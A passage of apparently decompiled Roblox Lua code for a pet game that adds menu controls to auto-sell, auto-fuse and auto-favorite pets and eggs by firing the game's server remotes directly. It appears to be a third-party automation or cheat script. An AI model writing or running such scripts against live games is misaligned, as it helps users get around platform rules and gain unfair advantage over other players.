local max = ms.Max
local n14 = math.clamp(math.floor(min + 0.5), min2, max)
if n14 ~= min then
str3 = tostring(arg5)
v26:Set(n14)
return
end
fn25(n14, arg5)
else
fn25(nil, arg5)
end
end,
},
SubOf = arg3,
Callback = function(arg5)
fn25(arg5, nil)
end,
})
)
end
fn25("Pet Value Threshold", "Sell pets worth less than this (0 = off)", v20, function(arg)
n9 = arg
end)
local v26 = nil
v26 = v9:CreateToggle({
Name = "Keep Mutated Pets",
Note = "Never sell mutated pets",
Default = true,
SubOf = v20,
Callback = function()
flag2 = tbl4.Toggle(v26, true)
tbl2.Wake()
end,
})
fn7(v9:CreateMultiDropdown({
Name = "Blacklist Sell Pets",
Note = "These pets are never sold",
Options = tbl18,
Default = {},
SubOf = v20,
Callback = function(arg)
tbl23 = fn16(arg, tbl19)
tbl2.Wake()
end,
}))
v23 = v9:CreateText({ Name = "Egg Sell Preview", Text = "Egg matches - 0 eggs" })
v21 = v9:CreateToggle({
Name = "Auto Sell Egg",
Note = "Sell bag eggs matching the rules below",
Default = false,
Callback = function()
tbl2.Wake()
end,
})
v9:CreateButton({
Name = "Sell Eggs Now",
Note = "Sell matching eggs once",
ButtonText = "Sell",
ConfirmText = "Sold!",
SubOf = v21,
Callback = function()
fn24({}, (fn22()))
end,
})
v9:CreateDropdown({
Name = "Sell Egg Rule",
Note = "Which checks must pass to sell",
Options = tbl15,
Default = tbl15[1],
SubOf = v21,
Callback = function(arg)
if table.find(tbl15, arg) then
v25 = arg
tbl2.Wake()
end
end,
})
v9:CreateDropdown({
Name = "Egg Max Rarity",
Note = "Sell eggs at or below this rarity",
Options = tbl16,
Default = fn14(3),
SubOf = v21,
Callback = function(arg)
local v27 = tbl17[arg] or n10
n10 = v27
tbl2.Wake()
end,
})
fn25("Egg Value Threshold", "Sell eggs worth less than this (0 = off)", v21, function(arg)
n11 = arg
end)
local v27 = nil
v27 = v9:CreateToggle({
Name = "Keep Mutated Eggs",
Note = "Never sell mutated eggs",
Default = true,
SubOf = v21,
Callback = function()
flag3 = tbl4.Toggle(v27, true)
tbl2.Wake()
end,
})
fn7(v9:CreateMultiDropdown({
Name = "Blacklist Sell Eggs",
Note = "These eggs are never sold",
Options = tbl18,
Default = {},
SubOf = v21,
Callback = function(arg)
tbl24 = fn16(arg, tbl19)
tbl2.Wake()
end,
}))
end
local save2 = tbl.Save
if type(save2) == "table" and type(save2.FieldSignal) == "function" then
for _, v19 in ipairs({ "Inventory", "EggInventory", "EquippedAssets" }) do
local ok, result = pcall(save2.FieldSignal, v19)
ok = ok and type(result) == "table"
ok = ok and type(result.Connect) == "function"
if ok then
local ok2, result2 = pcall(result.Connect, result, function()
tbl2.Wake()
end)
ok2 = ok2 and result2
if ok2 then
fn6(function()
pcall(function()
result2:Disconnect()
end)
end)
end
end
end
end
do
local n6 = 2
local n7 = 3
local n8 = 20
local tbl15 =
{ "Lowest Rarity First", "Highest Rarity First", "Most Copies First", "Lowest Value First" }
local tbl16 = { "Lowest To Highest", "Highest To Lowest" }
local tbl17 = {}
local tbl18 = {}
local tbl19 = {}
local tbl20 = {}
local directory = tbl.Assets and tbl.Assets.Directory
local tbl21 = {}
local tbl22 = {}
if type(directory) == "table" then
for k, v19 in pairs(directory) do
local rarity = type(v19) == "table" and v19.Rarity or nil
local flag2 = type(rarity) == "table"
if flag2 then
local v20 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag2 = v20(rarityNumber)
end
flag2 = flag2 or nil
if flag2 then
local v20 = tostring
local displayName = rarity.DisplayName or rarity._id or flag2
local v21 = v20(displayName)
tbl21[flag2] = tbl21[flag2] or v21
local insert = table.insert
local tbl23 = { Category = tostring(k) }
local v22 = tostring
local displayName2 = v19.DisplayName
if displayName2 then
k = displayName2
end
tbl23.Name = v22(k)
tbl23.Rarity = flag2
tbl23.RarityName = v21
insert(tbl22, tbl23)
end
end
end
local tbl23 = {}
for k in pairs(tbl21) do
table.insert(tbl23, k)
end
table.sort(tbl23)
for _, v19 in ipairs(tbl23) do
local str3 = string.format("%d - %s", v19, tbl21[v19])
table.insert(tbl17, str3)
tbl18[str3] = v19
end
table.sort(tbl22, function(arg, arg2)
if arg.Rarity ~= arg2.Rarity then
return arg.Rarity < arg2.Rarity
end
return arg.Name < arg2.Name
end)
for _, v19 in ipairs(tbl22) do
local str3 = string.format("%s [%s]", v19.Name, v19.RarityName)
if tbl20[str3] then
str3 = string.format("%s [%s] (%s)", v19.Name, v19.RarityName, v19.Category)
end
table.insert(tbl19, str3)
tbl20[str3] = v19.Category
end
local function fn14(arg)
for _, v19 in ipairs(tbl17) do
if tbl18[v19] == arg then
return v19
end
end
return tbl17[#tbl17]
end
local v19 = nil
local v20 = nil
local v21 = tbl15[1]
local v22 = tbl16[1]
local n9 = 6
local tbl24 = {}
local flag2 = true
local flag3 = true
local flag4 = false
local n10 = 0
local n11 = 0
local n12 = 0
local tbl25 = {}
local function fn15(arg, arg2)
local v23 = networking:FindFirstChild(arg)
if not v23 or not v23:IsA("RemoteFunction") then
return false, nil
end
if arg2 == nil then
return pcall(v23.InvokeServer, v23)
end
return pcall(v23.InvokeServer, v23, arg2)
end
local function fn16()
local save3 = tbl.Save
if type(save3) ~= "table" or type(save3.Get) ~= "function" then
return nil
end
local ok, result = pcall(save3.Get)
ok = ok and type(result) == "table"
if not ok then
result = ok
end
local v23 = result or nil
return v23
end
local function fn17(arg)
local directory2 = tbl.Assets and tbl.Assets.Directory
local flag5 = type(directory2) == "table" and directory2[tostring(arg)] or nil
return flag5
end
local function fn18(arg)
local v23 = fn17(arg)
local rarity = type(v23) == "table" and v23.Rarity or nil
local flag5 = type(rarity) == "table"
if flag5 then
local v24 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag5 = v24(rarityNumber)
end
local huge = flag5 or math.huge
return huge
end
local function fn19(arg)
local v23 = fn17(arg)
local v24 = tostring
local displayName = type(v23) == "table" and v23.DisplayName or arg
return v24(displayName)
end
local function fn20(arg)
local v23 = fn17(arg.Category)
local n13 = type(v23) == "table" and tonumber(v23.EarningRate) or 0
local n14 = tonumber(arg.Scale) or 0
if n13 <= 0 or n14 <= 0 then
return 0
end
local n15 = n14 > 5 and (n14 / 5) ^ 1.2 * 19.637875755794113 or n14 ^ 1.85
local mutations = tbl.Mutations
local flag5 = type(mutations) == "table" and type(mutations.EarningsFor) == "function"
local n16 = 1
if flag5 then
local v24 = pcall
local earningsFor = mutations.EarningsFor
local mutations2 = type(arg.Mutations) == "table" and arg.Mutations or {}
local flag6
flag6, n16 = v24(earningsFor, mutations2)
flag6 = flag6 and type(n16) == "number"
local n17 = 1
if not flag6 then
n16 = n17
end
end
return n13 * n15 * n16
end
local function fn21(arg)
local flag5 = type(arg) == "table" and next(arg) ~= nil
return flag5
end
local function fn22(arg)
local n13 = tonumber(arg) or 0
local tbl26 = { "", "K", "M", "B", "T", "Qa", "Qi" }
local n14 = 1
while math.abs(n13) >= 1000 and n14 < #tbl26 do
n13 = n13 / 1000
n14 = n14 + 1
end
local format = string.format
local str3 = n14 == 1 and "$%.0f%s" or "$%.2f%s"
return format(str3, n13, tbl26[n14])
end
local function fn23(arg)
local fuseKernel = tbl.FuseKernel
if type(fuseKernel) ~= "table" or type(fuseKernel.PriceFor) ~= "function" then
return nil
end
local ok, result = pcall(fuseKernel.PriceFor, arg)
ok = ok and tonumber(result)
local v23 = ok or nil
return v23
end
local function fn24(arg, arg2, arg3)
local flag5 = type(arg2) == "table"
and arg2.IsFavorite ~= true
and not arg3[arg]
and fn18(arg2.Category) <= n9
and (next(tbl24) == nil or tbl24[tostring(arg2.Category)] == true)
if flag5 then
local v23 = flag2
if flag2 then
v23 = fn21(arg2.Mutations)
end
flag5 = not v23
end
if flag5 then
flag5 = (tbl25[arg] or 0) <= os.clock()
end
return flag5
end
local function fn25(arg)
local inventory = type(arg.Inventory) == "table" and arg.Inventory or {}
local tbl26 = {}
local v23 = pairs
local equippedAssets = arg.EquippedAssets or {}
for _, equippedAsset in v23(equippedAssets) do
tbl26[equippedAsset] = true
end
local tbl27 = {}
local tbl28 = {}
for i = 1, 3 do
local flag5 = type(arg.FusionSlots) == "table" and arg.FusionSlots[i] or nil
if flag5 ~= nil and type(inventory[flag5]) == "table" then
table.insert(tbl27, flag5)
tbl28[flag5] = true
end
end
local tbl29 = {}
for k, v24 in pairs(inventory) do
if
not tbl28[k]
and type(v24) == "table"
and v24.InFuse ~= true
and fn24(k, v24, tbl26)
then
local str3 = tostring(v24.Category)
tbl29[str3] = tbl29[str3] or {}
table.insert(tbl29[str3], { Uid = k, Item = v24, Income = fn20(v24) })
end
end
local function fn25(arg2)
table.sort(arg2, function(arg3, arg4)
if arg3.Income ~= arg4.Income then
if v22 == tbl16[2] then
return arg3.Income > arg4.Income
end
return arg3.Income < arg4.Income
end
return tostring(arg3.Uid) < tostring(arg4.Uid)
end)
end
if #tbl27 > 0 then
local str3 = tostring(inventory[tbl27[1]].Category)
local flag5 = true
for _, v24 in ipairs(tbl27) do
local v25 = inventory[v24]
if tostring(v25.Category) ~= str3 or not fn24(v24, v25, tbl26) then
flag5 = false
end
end
local tbl30 = tbl29[str3] or {}
flag5 = flag5 and #tbl27 + #tbl30 >= 3
if flag5 then
fn25(tbl30)
local tbl31 = { Category = str3, Load = {}, Items = {} }
for _, v24 in ipairs(tbl27) do
table.insert(tbl31.Items, inventory[v24])
end
for i = 1, 3 - #tbl27 do
table.insert(tbl31.Load, tbl30[i].Uid)
table.insert(tbl31.Items, tbl30[i].Item)
end
return tbl31
end
if flag3 then
return { Category = str3, Eject = tbl27 }
end
return nil, "Machine holds pets that cannot finish a fuse"
end
local v24 = nil
local v25 = nil
for k, v26 in pairs(tbl29) do
if 3 <= #v26 then
local v27 = fn18(k)
local n13 = 0
for _, v28 in ipairs(v26) do
n13 = n13 + v28.Income
end
local tbl30
if v21 == tbl15[2] then
tbl30 = { -v27, -#v26 }
elseif v21 == tbl15[3] then
tbl30 = { -#v26, v27 }
elseif v21 == tbl15[4] then
tbl30 = { n13 / #v26, v27 }
else
tbl30 = { v27, -#v26 }
end
if
v24 == nil
or tbl30[1] < v24[1]
or tbl30[1] == v24[1]
and (tbl30[2] < v24[2] or tbl30[2] == v24[2] and k < v25)
then
v24 = tbl30
v25 = k
end
end
end
if not v25 then
return nil, "No three matching pets"
end
local v26 = tbl29[v25]
fn25(v26)
local tbl30 = { Category = v25, Load = {}, Items = {} }
for i = 1, 3 do
table.insert(tbl30.Load, v26[i].Uid)
table.insert(tbl30.Items, v26[i].Item)
end
return tbl30
end
local function fn26(arg)
local v23 = fn16()
if not v23 then
return
end
if v23.FusionLocked == true then
if type(v23.FusionEggReward) == "table" and os.clock() >= n12 then
n12 = os.clock() + n7
fn15("RF/Fusery/FinishReveal")
end
return
end
local v24 = fn25(v23)
if not v24 then
return
end
if v24.Eject then
for _, v25 in ipairs(v24.Eject) do
if arg ~= n10 then
return
end
fn15("RF/Fusery/EjectPet", v25)
task.wait(0.35)
end
return
end
local v25 = fn23(v24.Items)
local num = tonumber(v23.Money)
if v25 and num and num < v25 then
return
end
for _, v26 in ipairs(v24.Load) do
if arg ~= n10 then
return
end
local LoadPet, v27 = fn15("RF/Fusery/LoadPet", v26)
if not LoadPet or v27 == false then
tbl25[v26] = os.clock() + n8
return
end
task.wait(0.35)
end
if arg ~= n10 then
return
end
local BeginFuse, v26 = fn15("RF/Fusery/BeginFuse")
BeginFuse = BeginFuse and v26 ~= false
if BeginFuse then
n12 = os.clock() + n7
end
end
local function fn27(arg)
if not arg then
return "Fuse status unknown"
end
if arg.FusionLocked == true then
return "Machine is fusing, waiting for the egg"
end
local v23, v24 = fn25(arg)
if not v23 then
local str3 = v24 or "No three matching pets"
return str3
end
if v23.Eject then
return string.format(
"Would eject %d %s that cannot finish a fuse",
#v23.Eject,
fn19(v23.Category)
)
end
local str3 = fn23(v23.Items)
local num = tonumber(arg.Money)
local str4 = str3 and num and num < str3 and " (not enough money)" or ""
local format = string.format
local v25 = fn19(v23.Category)
str3 = str3 and fn22(str3)
str3 = str3 or "?"
return format("Next fuse - 3 %s for %s%s", v25, str3, str4)
end
tbl2.Add(function()
local v23 = fn16()
local flag5 = v20
if v20 then
flag5 = type(v20.Set) == "function"
end
if flag5 then
pcall(v20.Set, v20, fn27(v23))
end
if not tbl4.Toggle(v19, false) or flag4 or os.clock() < n11 then
return false
end
flag4 = true
n11 = os.clock() + n6
local v24 = n10
task.spawn(function()
pcall(fn26, v24)
flag4 = false
tbl2.Wake()
end)
return false
end)
v20 = v10:CreateText({ Name = "Fuse Preview", Text = "Fuse status unknown" })
v19 = v10:CreateToggle({
Name = "Auto Fuse Machine",
Note = "Fuse 3 same pets into an egg, nonstop",
Default = false,
Callback = function()
n10 = n10 + 1
table.clear(tbl25)
n11 = 0
tbl2.Wake()
end,
})
v10:CreateDropdown({
Name = "Fuse Priority Mode",
Options = tbl15,
Default = tbl15[1],
SubOf = v19,
Callback = function(arg)
if table.find(tbl15, arg) then
v21 = arg
tbl2.Wake()
end
end,
})
v10:CreateDropdown({
Name = "Pets To Use",
Options = tbl16,
Default = tbl16[1],
SubOf = v19,
Callback = function(arg)
if table.find(tbl16, arg) then
v22 = arg
tbl2.Wake()
end
end,
})
v10:CreateDropdown({
Name = "Max Rarity to Fuse",
Options = tbl17,
Default = fn14(6),
SubOf = v19,
Callback = function(arg)
local v23 = tbl18[arg] or n9
n9 = v23
tbl2.Wake()
end,
})
fn7(v10:CreateMultiDropdown({
Name = "Specific Species to Fuse",
Note = "Only fuse these species (empty = all)",
Options = tbl19,
Default = {},
SubOf = v19,
Callback = function(arg)
local tbl26 = {}
if type(arg) == "table" then
for k, v23 in pairs(arg) do
local flag5 = v23 == true and type(k) == "string"
if not flag5 then
k = flag5
end
k = k or type(v23) == "string" and v23
k = k or nil
if k and tbl20[k] then
tbl26[tbl20[k]] = true
end
end
end
tbl24 = tbl26
tbl2.Wake()
end,
}))
local v23 = nil
v23 = v10:CreateToggle({
Name = "Skip Mutated Pets",
Default = true,
SubOf = v19,
Callback = function()
flag2 = tbl4.Toggle(v23, true)
tbl2.Wake()
end,
})
local v24 = nil
v24 = v10:CreateToggle({
Name = "Eject Incomplete Slots",
Note = "Take out pets that can't make a set",
Default = true,
SubOf = v19,
Callback = function()
flag3 = tbl4.Toggle(v24, true)
tbl2.Wake()
end,
})
end
local save3 = tbl.Save
if type(save3) == "table" and type(save3.FieldSignal) == "function" then
for _, v19 in ipairs({
"Inventory",
"EquippedAssets",
"FusionSlots",
"FusionLocked",
"FusionEggReward",
"Money",
}) do
local ok, result = pcall(save3.FieldSignal, v19)
if ok and type(result) == "table" and type(result.Connect) == "function" then
local ok2, result2 = pcall(result.Connect, result, function()
tbl2.Wake()
end)
if ok2 and result2 then
fn6(function()
pcall(function()
result2:Disconnect()
end)
end)
end
end
end
end
do
local n6 = 2
local n7 = 25
local n8 = 4
local tbl15 = { "Match Any", "Match All" }
local tbl16 = { "Golden", "Silver", "Rainbow", "Boss", "Monstrous", "Sakura", "GreatBloom" }
local str3 = "Any Mutation"
local tbl17 = { "Off" }
local tbl18 = {}
local tbl19 = {}
local tbl20 = {}
local tbl21 = { "Any Mutation" }
local tbl22 = {}
local directory = tbl.Assets and tbl.Assets.Directory
local tbl23 = {}
local tbl24 = {}
if type(directory) == "table" then
for k, v19 in pairs(directory) do
local rarity = type(v19) == "table" and v19.Rarity or nil
local flag2 = type(rarity) == "table"
if flag2 then
local v20 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag2 = v20(rarityNumber)
end
flag2 = flag2 or nil
if flag2 then
local v20 = tostring
local displayName = rarity.DisplayName or rarity._id or flag2
local v21 = v20(displayName)
tbl23[flag2] = tbl23[flag2] or v21
local insert = table.insert
local tbl25 = { Category = tostring(k) }
local v22 = tostring
local displayName2 = v19.DisplayName or k
tbl25.Name = v22(displayName2)
tbl25.Rarity = flag2
tbl25.RarityName = v21
insert(tbl24, tbl25)
end
end
end
local tbl25 = {}
for k in pairs(tbl23) do
table.insert(tbl25, k)
end
table.sort(tbl25)
for _, v19 in ipairs(tbl25) do
local str4 = string.format("%d - %s", v19, tbl23[v19])
table.insert(tbl17, str4)
tbl18[str4] = v19
end
table.sort(tbl24, function(arg, arg2)
if arg.Rarity ~= arg2.Rarity then
return arg.Rarity < arg2.Rarity
end
return arg.Name < arg2.Name
end)
for _, v19 in ipairs(tbl24) do
local str4 = string.format("%s [%s]", v19.Name, v19.RarityName)
if tbl20[str4] then
str4 = string.format("%s [%s] (%s)", v19.Name, v19.RarityName, v19.Category)
end
table.insert(tbl19, str4)
tbl20[str4] = v19.Category
end
local tbl26 = {}
local mutations = tbl.Mutations
if type(mutations) == "table" and type(mutations.IdSet) == "table" then
for k in pairs(mutations.IdSet) do
table.insert(tbl26, tostring(k))
end
end
if #tbl26 == 0 then
tbl26 = table.clone(tbl16)
end
table.sort(tbl26, function(arg, arg2)
return fn10(arg) < fn10(arg2)
end)
for _, v19 in ipairs(tbl26) do
local v20 = fn10(v19)
table.insert(tbl21, v20)
tbl22[v20] = v19
end
local v19 = nil
local v20 = nil
local v21 = nil
local createText = nil
local v22 = tbl15[2]
local v23 = nil
local flag2 = false
local tbl27 = {}
local n9 = 0
local tbl28 = {}
local flag3 = false
local n10 = 0
local tbl29 = {}
local function fn14()
local save4 = tbl.Save
if type(save4) ~= "table" or type(save4.Get) ~= "function" then
return nil
end
local ok, result = pcall(save4.Get)
ok = ok and type(result) == "table"
local v24 = ok and result or nil
return v24
end
local function fn15(arg)
local directory2 = tbl.Assets and tbl.Assets.Directory
local flag4 = type(directory2) == "table" and directory2[tostring(arg)] or nil
return flag4
end
local function fn16(arg)
local v24 = fn15(arg)
local rarity = type(v24) == "table" and v24.Rarity or nil
local flag4 = type(rarity) == "table"
if flag4 then
local v25 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
flag4 = v25(rarityNumber)
end
flag4 = flag4 or 0
return flag4
end
local function fn17(arg)
local v24 = fn15(arg.Category)
local n11 = type(v24) == "table" and tonumber(v24.EarningRate) or 0
local n12 = tonumber(arg.Scale) or 0
if n11 <= 0 or n12 <= 0 then
return 0
end
local n13 = n12 > 5 and (n12 / 5) ^ 1.2 * 19.637875755794113 or n12 ^ 1.85
local mutations2 = tbl.Mutations
local flag4 = type(mutations2) == "table" and type(mutations2.EarningsFor) == "function"
local n14 = 1
if flag4 then
local v25 = pcall
local earningsFor = mutations2.EarningsFor
local mutations3 = type(arg.Mutations) == "table" and arg.Mutations or {}
local flag5
flag5, n14 = v25(earningsFor, mutations3)
flag5 = flag5 and type(n14) == "number"
local n15 = 1
if not flag5 then
n14 = n15
end
end
return n11 * n13 * n14
end
local function fn18(arg)
local tbl30 = {}
if type(arg.Mutations) == "table" then
for k, v24 in pairs(arg.Mutations) do
if type(v24) == "string" then
tbl30[v24] = true
elseif v24 == true and type(k) == "string" then
tbl30[k] = true
end
end
end
if type(arg.BaseMutation) == "string" and arg.BaseMutation ~= "" then
tbl30[arg.BaseMutation] = true
end
return tbl30
end
local function fn19(arg)
if tbl28[tostring(arg.Category)] then
return true
end
local n11 = 0
local n12 = 0
if v23 then
n11 = 1
n12 = 0
if fn16(arg.Category) >= v23 then
n11 = 1
n12 = 1
end
end
local flag4 = flag2
if not flag2 then
flag4 = next(tbl27) ~= nil
end
if flag4 then
n11 = n11 + 1
local v24 = fn18(arg)
local flag5 = flag2
if flag2 then
flag5 = next(v24) ~= nil
end
if flag5 then
n12 = n12 + 1
else
local flag6 = false
for k in pairs(v24) do
if tbl27[k] then
flag6 = true
break
else
flag6 = false
end
end
if flag6 then
n12 = n12 + 1
end
end
end
if 0 < n9 then
n11 = n11 + 1
if n9 <= fn17(arg) then
n12 = n12 + 1
end
end
if n11 == 0 then
return false
end
if v22 == tbl15[2] then
return n12 == n11
end
return n12 > 0
end
local function fn20(arg)
local n11 = tbl29[arg] or 0
return n11 > os.clock()
end
local function fn21(arg)
local tbl30 = {}
local v24 = pairs
local inventory = arg.Inventory or {}
local v25, v26, v27 = v24(inventory)
local n11 = 0
for k, v28 in v25, v26, v27 do
if type(v28) == "table" and fn19(v28) then
n11 = n11 + 1
if v28.IsFavorite ~= true and not fn20(k) then
table.insert(tbl30, k)
end
end
end
return tbl30, n11
end
local function fn22(arg, arg2, arg3)
local tbl30 = {}
local inventory = arg.Inventory or {}
local v24 = pairs
local equippedAssets = arg.EquippedAssets or {}
for _, equippedAsset in v24(equippedAssets) do
local v25 = inventory[equippedAsset]
if type(v25) == "table" and not fn20(equippedAsset) then
if arg2 then
if v25.IsFavorite ~= true then
table.insert(tbl30, equippedAsset)
end
else
local flag4 = v25.IsFavorite == true
local flag5
if flag4 then
flag5 = not (arg3 and fn19(v25))
else
flag5 = flag4
end
if flag5 then
table.insert(tbl30, equippedAsset)
end
end
end
end
return tbl30
end
local function fn23(arg, arg2)
local rePetSatchelWriteFavourite = networking:FindFirstChild("RE/PetSatchel/WriteFavourite")
if not rePetSatchelWriteFavourite or not rePetSatchelWriteFavourite:IsA("RemoteEvent") then
return
end
for i, v24 in ipairs(arg) do
if not (n7 < i) then
tbl29[v24] = os.clock() + n8
pcall(rePetSatchelWriteFavourite.FireServer, rePetSatchelWriteFavourite, v24, arg2)
task.wait(0.12)
continue
end
break
end
end
local function fn24(arg, arg2)
local v24 = flag3
local flag4
if flag3 then
flag4 = v24
else
flag4 = #arg == 0
end
if flag4 then
return false
end
flag3 = true
n10 = os.clock() + n6
task.spawn(function()
pcall(fn23, arg, arg2)
flag3 = false
tbl2.Wake()
end)
return true
end
tbl2.Add(function()
local v24 = fn14()
if not v24 then
return false
end
local v25 = tbl4.Toggle(v19, false)
local v26, v27 = fn21(v24)
local v28 = v26
local flag4 = createText
if createText then
flag4 = type(createText.Set) == "function"
end
if flag4 then
local v29 = pairs
local inventory = v24.Inventory or {}
local n11 = 0
for _, v30 in v29(inventory) do
if type(v30) == "table" and v30.IsFavorite == true then
n11 = n11 + 1
end
end
pcall(
createText.Set,
createText,
string.format(
"Favorite matches - %d pets, %d to mark | %d favorited",
v27,
#v28,
n11
)
)
end
local flag5 = flag3
if not flag3 then
flag5 = os.clock() < n10
end
if flag5 then
return false
end
if v25 and fn24(v28, true) then
return false
end
if tbl4.Toggle(v20, false) then
if fn24(fn22(v24, true, false), true) then
return false
end
elseif tbl4.Toggle(v21, false) then
fn24(fn22(v24, false, v25), false)
end
return false
end)
createText = v11.CreateText
createText =
createText(v11, { Name = "Favorite Preview", Text = "Favorite matches - 0 pets" })
v19 = v11:CreateToggle({
Name = "Auto Favorite Pet",
Note = "Favorite pets matching the rules below",
Default = false,
Callback = function()
table.clear(tbl29)
tbl2.Wake()
end,
})
v11:CreateButton({
Name = "Favorite Pets Now",
Note = "Favorite matching pets once",
ButtonText = "Favorite",
ConfirmText = "Done!",
SubOf = v19,
Callback = function()
local v24 = fn14()
if v24 then
fn24(fn21(v24), true)
end
end,
})
v11:CreateDropdown({
Name = "Favorite Rule",
Note = "Pass any check or all checks",
Options = tbl15,
Default = tbl15[2],
SubOf = v19,
Callback = function(arg)
if table.find(tbl15, arg) then
v22 = arg
tbl2.Wake()
end
end,
})
v11:CreateDropdown({
Name = "Favorite Min Rarity",
Note = "Favorite pets of the chosen rarity and every rarity above it (Off = skip)",
Options = tbl17,
Default = "Off",
SubOf = v19,
Callback = function(arg)
v23 = tbl18[arg]
tbl2.Wake()
end,
})
fn7(v11:CreateMultiDropdown({
Name = "Favorite Mutations",
Note = "Mutation check (empty = skip)",
Options = tbl21,
Default = {},
SubOf = v19,
Callback = function(arg)
local tbl30 = {}
local flag4 = false
if type(arg) == "table" then
flag4 = false
for k, v24 in pairs(arg) do
local flag5 = v24 == true and type(k) == "string"
if not flag5 then
k = flag5
end
local flag6
if k then
flag6 = k
else
flag6 = type(v24) == "string" and v24
end
local v25 = flag6 or nil
if v25 == str3 then
flag4 = true
elseif v25 then
local v26 = tbl22[v25] or v25
tbl30[v26] = true
end
end
end
flag2 = flag4
tbl27 = tbl30
tbl2.Wake()
end,
}))
local tbl30 = {
["K/s"] = { Min = 0, Max = 1000, Mult = 1000 },
["M/s"] = { Min = 0, Max = 1000, Mult = 1000000 },
["B/s"] = { Min = 0, Max = 100, Mult = 1000000000 },
}
local v24 = nil
local n11 = 0
local str4 = "M/s"
local function fn25(arg, arg2)
if arg ~= nil then
local max = math.max
local floor = math.floor
local num = tonumber(arg) or n11
n11 = max(0, floor(num))
end
if arg2 ~= nil then
str4 = tostring(arg2)
end
local ms = tbl30[str4] or tbl30["M/s"]
n9 = n11 * ms.Mult
tbl2.Wake()
end
v24 = v11:CreateSlider({
Name = "Favorite Min Value",
Note = "Value check (0 = skip)",
Min = 0,
Max = 1000,
Default = 0,
AllowDecimals = false,
Increment = 1,
Unit = {
Default = "M/s",
Selector = true,
Options = { "K/s", "M/s", "B/s" },
ColorEnabled = true,
Colors = {
Number = Color3.fromRGB(255, 255, 255),
Suffix = Color3.fromRGB(58, 255, 55),
},
Callback = function(arg)
local ms = tbl30[arg] or tbl30["M/s"]
local setRange = v24
if v24 then
setRange = v24.SetRange
end
if setRange then
v24:SetRange(ms.Min, ms.Max)
local min = tonumber(v24:Get()) or ms.Min
local min2 = ms.Min
local max = ms.Max
local n12 = math.clamp(math.floor(min + 0.5), min2, max)
if n12 ~= min then
str4 = tostring(arg)
v24:Set(n12)
return
end
fn25(n12, arg)
else
fn25(nil, arg)
end
end,
},
SubOf = v19,
Callback = function(arg)
fn25(arg, nil)
end,
})
fn7(v11:CreateMultiDropdown({
Name = "Always Favorite Species",
Note = "Always favorite these species",
Options = tbl19,
Default = {},
SubOf = v19,
Callback = function(arg)
local tbl31 = {}
if type(arg) == "table" then
for k, v25 in pairs(arg) do
local flag4 = v25 == true and type(k) == "string"
if not flag4 then
k = flag4
end
if k then
v25 = k
else
local flag5 = type(v25) == "string"
if not flag5 then
v25 = flag5
end
end
v25 = v25 or nil
if v25 and tbl20[v25] then
tbl31[tbl20[v25]] = true
end
end
end
tbl28 = tbl31
tbl2.Wake()
end,
}))
v20 = v11:CreateToggle({
Name = "Auto Favorite Equipped",
Note = "Keep equipped pets favorited",
Default = false,
Callback = function()
tbl2.Wake()
end,
})
v21 = v11:CreateToggle({
Name = "Auto Unfavorite Equipped",
Note = "Unfavorite equipped pets not in the rules",
Default = false,
Callback = function()
tbl2.Wake()
end,
})
v11:CreateButton({
Name = "Favorite Equipped Now",
Note = "Favorite all equipped pets once",
ButtonText = "Favorite",
ConfirmText = "Done!",
Callback = function()
local v25 = fn14()
if v25 then
fn24(fn22(v25, true, false), true)
end
end,
})
v11:CreateButton({
Name = "Unfavorite Equipped Now",
Note = "Unfavorite all equipped pets once",
ButtonText = "Unfavorite",
ConfirmText = "Done!",
Callback = function()
local v25 = fn14()
if v25 then
fn24(fn22(v25, false, false), false)
end
end,
})
end
local save4 = tbl.Save
if type(save4) == "table" and type(save4.FieldSignal) == "function" then
for _, v19 in ipairs({ "Inventory", "EquippedAssets" }) do
local ok, result = pcall(save4.FieldSignal, v19)
if ok and type(result) == "table" and type(result.Connect) == "function" then
local ok2, result2 = pcall(result.Connect, result, function()
tbl2.Wake()
end)
ok2 = ok2 and result2
if ok2 then
fn6(function()
pcall(function()
result2:Disconnect()
end)
end)
end
end
end
end
local n6
n6 = 5
local v19, v20, flag2, n7, n8, n9, v21, n10, flag3, fn14
local fn15, fn16, v22
do
local n11 = 5
v19 = nil
v20 = nil
flag2 = false
n7 = 0
n8 = 0
n9 = 0
v21 = nil
n10 = 0
local str3 = ""
flag3 = false
local function fn17(arg, arg2)
local v23 = networking:FindFirstChild(arg)
if not v23 or not v23:IsA("RemoteFunction") then
return false, nil, nil
end
if arg2 == nil then
return pcall(v23.InvokeServer, v23)
end
return pcall(v23.InvokeServer, v23, arg2)
end
local function fn18()
local save5 = tbl.Save
if type(save5) ~= "table" or type(save5.Get) ~= "function" then
return nil
end
local ok, result = pcall(save5.Get)
ok = ok and type(result) == "table"
if not ok then
result = ok
end
result = result or nil
return result
end
local function fn19(arg)
local directory = tbl.Assets and tbl.Assets.Directory
local flag4 = type(directory) == "table" and directory[tostring(arg)] or nil
local v23 = tostring
local displayName = type(flag4) == "table" and flag4.DisplayName or arg
return v23(displayName)
end
fn14 = function(arg)
if not arg and type(v21) == "table" and os.clock() < n9 then
return v21
end
n9 = os.clock() + n11
local AskState, v23 = fn17("RF/Rift/AskState")
if AskState and type(v23) == "table" then
v21 = v23
n10 = os.clock()
end
return v21
end
local function fn20(arg, arg2)
local requirements = type(arg) == "table" and arg.Requirements or nil
if type(requirements) ~= "table" or #requirements == 0 then
return nil, "No active recipe"
end
local tbl15 = {}
if type(arg2.EquippedAssets) == "table" then
for _, v23 in pairs(arg2.EquippedAssets) do
tbl15[v23] = true
end
end
local tbl16 = {}
for _, requirement in ipairs(requirements) do
tbl16[tostring(requirement)] = {}
end
local v23 = pairs
local inventory = arg2.Inventory or {}
for k, v24 in v23(inventory) do
local flag4 = type(v24) == "table" and tbl16[tostring(v24.Category)] or nil
if flag4 and v24.InFuse ~= true and v24.IsFavorite ~= true and not tbl15[k] then
local flag5 = type(v24.Mutations) == "table" and next(v24.Mutations) ~= nil
local insert = table.insert
local tbl17 = { Uid = k }
tbl17.Scale = tonumber(v24.Scale) or 0
tbl17.Mutated = flag5
insert(flag4, tbl17)
end
end
for _, v24 in pairs(tbl16) do
table.sort(v24, function(arg3, arg4)
if arg3.Mutated ~= arg4.Mutated then
return arg4.Mutated
end
return arg3.Scale < arg4.Scale
end)
end
local tbl17 = {}
local tbl18 = {}
for _, requirement in ipairs(requirements) do
